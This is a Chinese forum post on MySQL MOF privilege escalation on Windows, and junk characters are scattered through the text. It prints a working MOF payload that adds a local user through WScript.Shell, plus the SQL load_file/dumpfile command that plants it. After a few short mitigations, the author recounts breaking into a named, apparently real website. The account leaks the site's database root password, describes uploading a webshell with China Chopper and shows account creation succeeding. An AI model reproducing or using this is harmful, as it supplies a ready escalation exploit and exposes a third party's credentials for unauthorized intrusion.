Mysql mof扩展漏洞防范方法
( j& ?4 m: b% O: \' [, y( d
1 s- t6 x! h& v7 M. j网上公开的一些利用代码:) x9 `% A8 h0 l
# u# ~7 z* [/ m. d/ w4 V( S, T7 n2 l#pragma namespace(“\\\\.\\root\\subscription”)
7 x" {6 W! Z. p) J) K' \. ?- M$ }& z* e+ Y" ^
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
; N$ O/ r$ `) M+ _9 ]0 L7 B, X6 ~- |0 D G/ A; l& v
) M& N$ W; x6 p: i4 X+ g2 T1 D; k; n' q; M9 M, p' [3 @
$ {- `9 C( `- I' w
& W) Q8 Q* t0 U4 g* e' o连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;- w3 g- C. W3 e& W
从上面代码来看得出解决办法:: T4 r! N' y, O+ J" S
$ t$ w) g4 F* e' _
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
% {# T6 v6 u* L9 b$ ^: L3 X1 P: ^7 m+ Y! E
2、禁止使用”WScript.Shel”组件
; L4 c9 s9 E" K; C: u ~& e0 S( C
, |2 u* h$ c q# z# K/ \2 v3 K3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
, l3 V: F/ t6 L2 F' U
" f, ?/ ?( }, _3 ?( x当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. n) _' `! U$ t
; G4 u6 I- m& x事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
5 q B, d' M0 K9 O3 V' g6 A( a# A7 h1 k7 B1 p- O( r+ g5 Q
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容$ q! z1 C* ~" N3 r+ y9 A& W
: [" u- z% Q% ^% D看懂了后就开始练手吧
# n$ M* U3 u# H# l, {0 U$ q( f& [) Y7 O
http://www.webbmw.com/config/config_ucenter.php 一句话 a
7 k N( b, w" O: o2 o$ J1 Z# T
; k- H; J) l7 I* Z) y$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
0 E' Z7 u% D& ?2 A
# z( j2 ?7 [4 ?9 y于是直接用菜刀开搞. c: d9 P- Q) ^# A3 i
. j/ P: h8 N0 k: i. k: a4 }' L上马先4 i5 h4 N% ?3 A' w. n+ ]* x
4 L! y! w* \7 I4 _! g; r
既然有了那些账号 之类的 于是我们就执行吧…….
- q- K8 g% H, a" s) c& f3 J& E, f8 f, A* N0 I
小小的说下
5 y+ d6 H- I1 `1 _: H0 B" D
; J3 Q# i" X, X( M0 n" g" ^; o: d在这里第1次执行未成功 原因未知0 U; d0 k$ H, D* T" w. U) C
4 w1 }( S1 t7 s6 O# X8 B
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。4 w: R# J l' h4 D" j8 P$ T' c
, B& d+ O: h6 G2 {& U; t4 ^ s
#pragma namespace(“\\\\.\\root\\subscription”)
' e$ }7 |$ r% |5 b# O& a( k' q, Q7 @
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };2 @& N; h6 s, ]6 t
) m) y) E+ ~, W9 K$ g7 G. a我是将文件放到C:\WINDOWS\temp\1.mof* Z7 O; H7 t/ [3 U1 x# T
( z8 x' G J- P
所以我们就改下执行的代码
2 n5 e* y$ h. m% y* ]( y ?" t5 Q0 e" _
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
7 _& m9 R: ?" R5 J7 \0 e1 D) x8 O+ I& r- y
, {" z1 }+ V- d! @
7 }9 v0 A4 r% u
但是 你会发现账号还是没有躺在那里。。6 z- d% k& T& X# V3 A
, C& D3 @# ]9 B5 Y ]3 p5 _. b% E于是我就感觉蛋疼9 j6 }/ J- Q# W k9 @! Q' q
9 d+ l" n3 P2 g& u. E1 _
就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 S+ z, z9 ?4 j3 @ ~5 m5 {* L
0 ~" D6 ^; B5 c# ]6 E5 u g. u5 w
2 n& g6 B* }: i% O# e; r
但是其他库均不成功…
\* D! w6 g: K$ ~+ E8 R0 @- Q, ]5 e5 ~" b8 V" @ d" @, q5 `. Y
我就很费解呀 到底为什么不成功求大牛解答…& I8 [7 x& t _2 u7 b, c* G
- b% q4 w9 j. u' O0 q1 y
7 p$ f0 S! E J8 o& ]6 k2 p
6 ^2 ~" V& t( s' a! V& L1 x% K3 o |